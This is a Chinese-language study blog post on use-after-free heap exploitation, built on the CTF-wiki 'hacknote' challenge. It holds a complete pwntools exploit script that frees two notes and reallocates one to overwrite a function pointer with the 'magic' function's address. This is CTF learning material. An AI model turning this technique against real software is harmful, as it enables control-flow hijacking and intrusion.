UAF的学习 Wiki

参考文章 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/

不得不说 wiki 真的好  真的建议好好看看~~

UAF 应该是最简单的堆溢出利用之一了  

wiki 用的例子也是 UAF 题里面简单的题     这里 我用的也是 wiki 里面的例子 

UAF 其实就是 free 的指针 没有 把指针 给清0 指针还是指向了原来的地址    但是 那个地址已经给了别的模块 但我们依然能够用

那么这里就出现了  UAF漏洞

UAF的学习 Wiki

这个题 其实大概情况很简单   我们看一下 

UAF的学习 Wiki

他这个结构体其实很简单  就是 两个指针  第一个指针就是 puts 函数  

UAF的学习 Wiki

puts 第二个指针指向的内存地址 也就是程序的让我们输入的内容 

然后 是malloc (8)

看一下 dele 

UAF的学习 Wiki

这里可以看的出来 只是free了 并没有 把指针 清 0  那么我们只需要申请到 note的内存  然后把他内存里面的puts 改成我们想要实现的函数地址  然后 就能够 完成 溢出 

下面是 exp

#coding:utf-8
  

from pwn import*
io=process("./hacknote")
elf=ELF("./hacknote")
get_addr=elf.symbols['magic']
def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Note size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.sendline(content)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(index))

def show(index):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(index))

if __name__ == '__main__':
	add(0x20,'aaaa')
	add(0x20,'bbbb')
	dele(0)
	dele(1)
	add(8,p32(get_addr))
	show(0)
	io.interactive()
	io.close()

UAF的学习 Wiki

成功写入 magic  

UAF的学习 Wiki

UAF的学习 Wiki

get!